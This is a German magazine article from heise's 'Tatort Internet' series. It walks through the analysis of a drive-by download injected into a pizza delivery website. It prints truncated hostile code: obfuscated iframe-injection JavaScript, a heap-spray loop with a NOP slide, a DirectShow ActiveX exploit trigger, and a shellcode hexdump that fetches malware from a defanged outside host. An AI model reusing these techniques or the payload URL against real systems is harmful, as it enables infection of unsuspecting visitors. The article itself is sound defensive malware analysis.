zurück zum Artikel

Tatort Internet: Alarm beim Pizzadienst

Thorsten Holz

Als ich mir auf der Webseite meines Lieblingspizzadienstes grade eine Pizza aussuchen will, schlägt der Wächter meiner Antivirensoftware Alarm: Eine Trojaner.Backdoor will er gefunden und unschädlich gemacht haben. Mal sehn, was da los ist.

Heute hab ich eigentlich noch nichts an diesem Rechner gemacht und normalerweise halte ich den auch sauber. Es hat also wahrscheinlich etwas mit der Webseite zu tun, die ich gerade geöffnet habe. Mein erster Blick gilt somit deren Quelltext. Wenn es wirklich ein Angriff ist, sollten sich im HTML-Code irgendwo Anhaltspunkte dafür finden lassen.

Nach kurzer Suche werde ich fündig; am Ende der Seite taucht ein merkwürdiges Stück JavaScript-Code auf:

<script>var c ='%25%33%43%69%66%72%61%6d%65[ ... ]%25%33%45';
var d=unescape(unescape(c));
document.write(unescape(d));
</script>

Das Böse lauert nicht nur in den Schmuddelecken. Immer öfter beherbergen eigentlich harmlose Webseiten sogenannte Drive-by-Downloads.

Das sieht schon sehr nach Unrat aus. Im Wesentlichen jagt es eine lange Kette hexadezimal-kodierter Zeichen mehrfach durch die JavaScript-Funktion unescape(), um sie dann via document.write direkt in die bereits im Browser geladene Webseite zu schreiben. Typisch für Drive-by-Downloads!

Doch wieso kann eine Webseite einfach so einen Trojaner auf mein System schieben? Ich hab doch nichts angeklickt. Um zu verstehen, was da genau vor sich geht, muss ich irgendwie an den Klartext des Codes kommen. Auf einem Testsystem würde ich nun die Seite abspeichern und den Schreibbefehl einfach durch ein alert() ersetzen. Dann präsentierte mir der Browser den dekodierten Text auf dem Silbertablett in einem Popup-Fenster. Aber das hier ist mein privater Rechner, da ist mir das zu heikel. Wer weiß schon, was der Kerl noch so alles in petto hat (wenn es denn wirklich ein Kerl ist).

Also gehe ich den etwas umständlicheren, aber sicheren Weg und benutze SpiderMonkey, um den Code auszuführen. Doch als ich der JavaScript-Engine von Mozilla den Script-Schnipsel als Textdatei vorwerfe, ernte ich erst einmal die Fehlermeldung "ReferenceError: document is not defined". Kein Wunder, denn das Objekt document ist nur im Kontext eines Browsers definiert. Doch nachdem ich document.write() durch ein einfaches print() ersetzt habe, funktioniert alles wie geplant:

$ js 1.js
<iframe src="hxxp://tissot333.cn/eleonore/index.php"
width="0" height="0" frameborder="0">
</iframe>

Irgend jemand hat also in die Webseite meines Lieblingspizzadienstes einen IFrame mit einer Referenz auf eine andere Webseite eingebaut. Wahrscheinlich hat er dazu eine Schwachstelle in der eingesetzten Software ausgenutzt und den Code beispielsweise via SQL-Injection eingeschleust. Null als Höhe und Breite des eingebetteten IFrames machen ihn quasi unsichtbar – das lässt Böses ahnen.

Mehr Infos

Die im Text dieses Artikels auftauchenden Code-Fragmente können dazu führen, dass Ihr Virenwächter Alarm schlägt. Dabei handelt es sich dann um einen Fehlalarm.

Um den IFrame zu analysieren, lade ich die dort referenzierte Datei index.php mit dem Kommandozeilentool wget herunter und öffne sie in einem Editor.

<div style='display: none;'>
<i id =i6C>qqfppBfqZfppSf[ ... ]3fSBfq</i>
<div id =pJ0rU7V>pf33[ ... ]BfEZf</div>
</div>

Schon auf den ersten Blick sieht man, dass hier seltsame Dinge passieren: Ein Block mit HTML-Code, der verschiedene HTML-Elemente mit unterschiedlichen IDs definiert, und alle enthalten nur langen Ketten von Buchstaben. Wozu die wohl gebraucht werden? Na ja, das wird schon noch kommen; erst mal weiter schauen. Der Rest der Datei besteht aus ziemlich obskurem JavaScript-Code mit Befehlen wie:

function tG7A8Qj(qmueigi){...}

und später dann:

var VunDhir=tG7A8Qj(yOaE3xU);

Da wurde offenbar einer dieser Scrambler eingesetzt, der die Variablen- und Funktionsnamen durch zufällige Zeichenketten ersetzt, um den Code möglichst unleserlich zu gestalten. Ganz offensichtlich hat da jemand was zu verbergen. Doch so einfach lass ich mich nicht abschütteln. Weiter unten findet sich ein Feld, das die beiden IDs von oben referenziert:

var fSxMadF = new Array("i6C","pJ0rU7V");

Vermutlich werden die langen Buchstabenketten also später noch benötigt; vielleicht sind es sogar Befehle in kodierter Form. Insgesamt definiert der Code vier Funktionen. Dahinter folgt der Code, den der Browser direkt beim Aufruf der Seite ausführt:

var yOaE3xU="";
var o81fCJv = fSxMadF.length;
for (VunDhir=0; o81fCJv>VunDhir; VunDhir++) {
var yOaE3xU = yOaE3xU + w5JGZaJ(fSxMadF, VunDhir);
}

Auf den ersten Blick sieht man nur kryptisches Kauderwelsch. Erst der Blick des Experten enthüllt die Strukturen und Abläufe.

Das sieht zwar auf den ersten Blick wüst aus, ist aber noch halbwegs überschaubar. Also versuche ich mich zunächst an einer manuellen Analyse: Die Variable yOaE3xU wird mit dem leeren String initialisiert und die Variable o81fCJv bekommt den Wert 2, da das Array die beiden ID-Tags von oben enthält. Die for-Schleife ruft zweimal die Funktion w5JGZaJ() auf:

function w5JGZaJ(fSxMadF, VunDhir) {
return VunDhir=document.getElementById
(fSxMadF[VunDhir]).innerHTML;
}

Sieh an – sie greift via getElementById() und innerHTML() auf den Inhalt der HTML-Elemente mit den bereits bekannten IDs i6C und pJ0rU7V zu. Deren Inhalt wird dann innerhalb der for-Schleife der Variablen yOaE3xU zugewiesen. Nach Beenden der Schleife enthält diese Variable also die langen Buchstabenketten aus dem HTML-Code.

Weiter geht's im Text:

var VunDhir=tG7A8Qj(yOaE3xU);

Okay – hier wird der Zeichensalat offenbar dekodiert. Doch ein Blick in die Dekodierfunktion zeigt noch mehr Kauderwelsch

function tG7A8Qj(qmueigi){
var Vvl57xe,dHnHlum,VUH4Mre,f9ft2GY="",
keMFvAW="B6SjRiQwmJfo1p9qbLl7cHI5EMFvWC8ZNtrzGVaXgxDekhnd0";
for(Vvl57xe=0;Vvl57xe<qmueigi.length;Vvl57xe++)
{dHnHlum=qmueigi.charAt(Vvl57xe);
...

Und ein Ende ist noch längst nicht in Sicht, da gegen Ende eine weitere Funktion namens decryptor() aufgerufen wird. Höchste Zeit für einen erneuten Einsatz von SpiderMonkey! Der Affe stolpert zunächst über die ihm unbekannten Methoden getElementById() und innerHTML(), die es nur im Browser-Kontext gibt. Zum Glück kenn ich das Ergebnis der for-Schleife aus der manuellen Analyse bereits und kann die Variable selbst passend befüllen.

Beim zweiten Anlauf kommt SpiderMonkey ein Stück weiter, scheitert dann aber erneut mit einer Fehlermeldung auf die fehlenden Referenz auf document bei folgenden Code-Zeilen:

var gogle=document;
var yandex=document;
gogle.write("<scri"+"pt>");
yandex.write(VunDhir);
document.write("</sc"+"ript>");

Das ist eine einfache Art der Verschleierung: Verschiedenen Variablen wird das document-Object zugewiesen und dann damit erneut die Methode write() ausgeführt, um den Code in die aktuell geladene Seite zu schießen. Dazu umschließen den ausgepackten Code zerhackstückte Script-Tags. Um endlich an den injizierten Code zu kommen, kann ich den gesamten Block durch print(VunDhir); ersetzen. Als Ergebnis liefert mir SpiderMonkey dann:

document.write("<iframe 
src=\"hxxp://tissot333.cn/eleonore/pdf.php?spl=pdf_all\"
width=\"148\" height=\"261\" frameborder=\"0\"></iframe>");

Die ganze Verschleierung hat also nur das Ziel, ein weiteres iFrame einzubinden. Also noch mal von vorn: Datei herunterladen und in den Editor damit. Auch hier findet sich wieder ein langer Block mit kodierten Zeichen:

var z4wurLU = 
"%uA164%u0018%u0000%u408B%u8B30
[ ... ]
%u6944%u6572%u7463%u5F58%u5344";

und diesmal wird das Ganze via unescape() ausgepackt:

var ZqEs8Ui = unescape(z4wurLU);

Doch die kodierten Hex-Werte sehen mir diesmal mehr nach Shellcode aus – also nach Maschinenbefehlen, die man über einen Sicherheitslücke einschleusen und dann ausführen will. Das bestätigt die nächste Zeile

var D4aFw4Q = unescape("%u9" + "090%u9" + "09" + "0");

die mehrfach den Hex-Code 0x90 enthält. Das ist die Sequenz für den x86-Maschinenbefehl "No Operation" – also "Tu nichts", kurz NOP. Sie kommt bei vielen Exploits als Füllmaterial zum Einsatz. Dann wieder eine Schleife:

while (...) D4aFw4Q += D4aFw4Q;

Da darum eine weitere Schleife geschachtelt ist, landen letztlich in der Variablen hdwPhXe mehrere tausend NOP-Befehle. Hab ich's doch geahnt – da bastelt sich einer eine so genannte NOP-Slide – also eine Tu-Nix-Rutsche zusammen.

Durch Heap Spraying wird der Arbeitsspeicher so präpariert, dass man bei einem ungezielten Sprung so gut wie immer auf einer der Tu-Nix-Rutschen landet, die im Shell-Code enden.

Diese Tu-Nix-Rutsche wird gern beim sogenannten Heap Spraying eingesetzt. Wer einen Exploit schreiben will, steht oft vor dem Problem, dass er zwar einen Sprung im regulären Code umbiegen kann, aber nicht so recht weiß, wohin er springen soll. Denn an welcher Speicheradresse der Exploit-Code gelandet ist, kann man meist nicht vorhersagen.

Deshalb überschreibt er dann einfach den kompletten Speicher mit vielen dieser langen Tu-Nix-Rutschen, an deren Ende der gewünschte Code steht. Dann lässt er das Programm mit der Gewissheit ins Blaue springen, dass es ziemlich sicher eine der Rutschen trifft, ein paar tausend Mal "Nix" tut und dann schließlich beim eingeschleusten Code landet.

Und hier kommt auch schon das Heap Spraying:

var fa5iZhc = new Array();
for (IF7Dfmj = 0; IF7Dfmj < 350; IF7Dfmj++ ){
fa5iZhc[IF7Dfmj] = hdwPhXe + ZqEs8Ui
}

Das legt im Speicher 350 dieser Rutschen an, jede mit ein paar tausend NOPs und dann dem Shell-Code aus ZqEs8Ui. Die Bühne ist bereit für den Hauptdarsteller! Und da kommt er auch schon:

var bC44pzT = document.createElement('object');
...
bC44pzT.data = 'dx_ds.gif';
bC44pzT.classid = 'clsid:0955AC62-BF2E- 4CBA-A2B9-A63F772D46CF';

Die Internetsuche liefert für die Class-ID 0955AC62-BF2E-4CBA-A2B9-A63F772D46CF als einen der ersten Treffer: heise Security -- Webseiten infizieren Windows-PCs über neue DirectShow-Lücke [1]

Ganz offenbar versucht der Exploit hier das verwundbare ActiveX-Control aufzurufen, um darin den im heise-Security-Artikel beschriebenen Pufferüberlauf auszulösen. Und ich will ein l4m3r sein, wenn dx_ds.gif tatsächlich ein Bild enthält und nicht ein speziell präpariertes MPEG2-Filmchen mit den dazu nötigen MPEG2TuneRequest-Objekten. Doch die auseinanderzunehmen führt in die falsche Richtung. Den Hacker-Gral haben wir ja bereits in Form des Shellcodes. Der wird mir jetzt verraten, was der Exploit eigentlich mit meinem Rechner vorhatte.

Dazu kopiere ich ihn in eine Datei namens 1.sc und wende ein wenig weiße Perl-Magie an:

$ perl -pe 's/\%u(..)(..)/chr(hex($2)).chr(hex($1))/ge' < 1.sc 

Natürlich ist das keine Magie, sondern eine auf die Schnelle improvisierte Perl-Version der JavaScript-Funktion unescape, die mir die benötigten Binärdaten liefert. Dort muss er stecken... Et voilà – hexdump -C bringt die Ausgabe in eine lesbare Form.

00000000  64 a1 18 00 00 00 8b 40  30 8b 40 54 8b 40 04 8b  |d......@0.@T.@..|
00000010 40 04 8b 40 04 0d 20 00 20 00 3d 7c 00 77 00 74 |@..@.. . .=|.w.t|
00000020 01 c3 33 c0 64 8b 40 30 78 0c 8b 40 0c 8b 70 1c |..3.d.@0x..@..p.|
[... Code ...]
00000240 32 c6 d2 c0 02 c1 02 c5 02 c2 02 c6 d2 c8 2a c1 |2.............*.|
00000250 2a c5 f6 d0 2a c2 2a c6 d2 c0 d3 c2 0f ca 88 07 |*...*.*.........|
00000260 47 49 75 ce c3 c3 68 74 74 70 3a 2f 2f 74 69 73 |GIu...http://tis|
00000270 73 6f 74 33 33 33 2e 63 6e 2f 65 6c 65 6f 6e 6f |sot333.cn/eleono|
00000280 72 65 2f 67 65 74 65 78 65 2e 70 68 70 3f 73 70 |re/getexe.php?sp|
00000290 6c 3d 44 69 72 65 63 74 58 5f 44 53 0a |l=DirectX_DS.|

Ich hab es fast geschafft. Diese URL ist offenbar das nächste Ziel. Dort lädt der Exploit die eigentliche Schadsoftware nach und hat vermutlich damit den Trojaner-Alarm des Virenwächters ausgelöst. Ein letztes wget bestätigt den Verdacht: Da ist er wieder, der Trojaner-Alarm.

Alles in allem hab ich nochmal Glück gehabt, denn ein Test bei Virustotal zeigt, dass derzeit gerade mal 21 von 43 Virenscannern den Schädling erkennen. Doch so weit kam es nur, weil ich vergessen hatte, die automatische Installation der Windows Updates wieder einzuschalten und damit ein wichtiges Sicherheits-Update verschlafen hatte.

Während Windows jetzt die versäumten Updates nachholt, kann ich mir endlich das verdiente Abendessen organisieren. Aber der Appetit auf Pizza ist mir vergangen – heute gibt's Sushi, das ich ganz altmodisch via Telefon bestelle. (ju)

Die Serie "Tatort Internet" wurde ursprünglich im c't magazin [3] ab Heft 13/2010 veröffentlicht. In den Artikeln können Sie Experten über die Schulter schauen, wie sie verdächtige Dateien analysieren und Schädlingen auf die Schliche kommen. Alle in der Serie vorgestellten Malware-Samples stammen aus echten Angriffen und wurden unter anderem mit den hier vorgestellten Methoden entlarvt. Die Geschichten "drumherum" wurden durch reale Vorkommnisse inspiriert ;-)

Der Experte dieser Folge, Thorsten Holz, hat das deutsche Honeynet-Projekt mit ins Leben gerufen, das seit 2004 verwundbare Systeme im Internet platziert, um Angriffe gegen diese Systeme zu analysieren. Mittlerweile forscht er in diesem Bereich als Juniorprofessor an der Ruhr-Universität Bochum. In der nächsten Folge Zeig mir das Bild vom Tod [4] stolpert Frank Boldewin über eine verdächtige MS-Office-Datei.

Übersicht aller Folgen:

  1. Alarm beim Pizzadienst [5]
  2. Zeig mir das Bild vom Tod [6]
  3. PDF mit Zeitbombe [7]
  4. Angriff der Killervideos [8]
  5. Matrjoschka in Flash [9]

(ju [10])


URL dieses Artikels:
https://www.heise.de/-1017983

Links in diesem Artikel:
[1] https://www.heise.de/news/Webseiten-infizieren-Windows-PCs-ueber-neue-DirectShow-Luecke-7271.html
[2] http://www.heise.de/security/foren/S-Tatort-Internet/forum-181148/list/
[3] http://www.heise.de/ct/
[4] https://www.heise.de/hintergrund/Tatort-Internet-Zeig-mir-das-Bild-vom-Tod-1028204.html
[5] https://www.heise.de/hintergrund/Tatort-Internet-Alarm-beim-Pizzadienst-1017983.html
[6] https://www.heise.de/hintergrund/Tatort-Internet-Zeig-mir-das-Bild-vom-Tod-1028204.html
[7] https://www.heise.de/hintergrund/Tatort-Internet-PDF-mit-Zeitbombe-1036564.html
[8] https://www.heise.de/hintergrund/Tatort-Internet-Angriff-der-Killervideos-1047129.html
[9] https://www.heise.de/hintergrund/Tatort-Internet-Matrjoschka-in-Flash-1052848.html
[10] mailto:ju@ct.de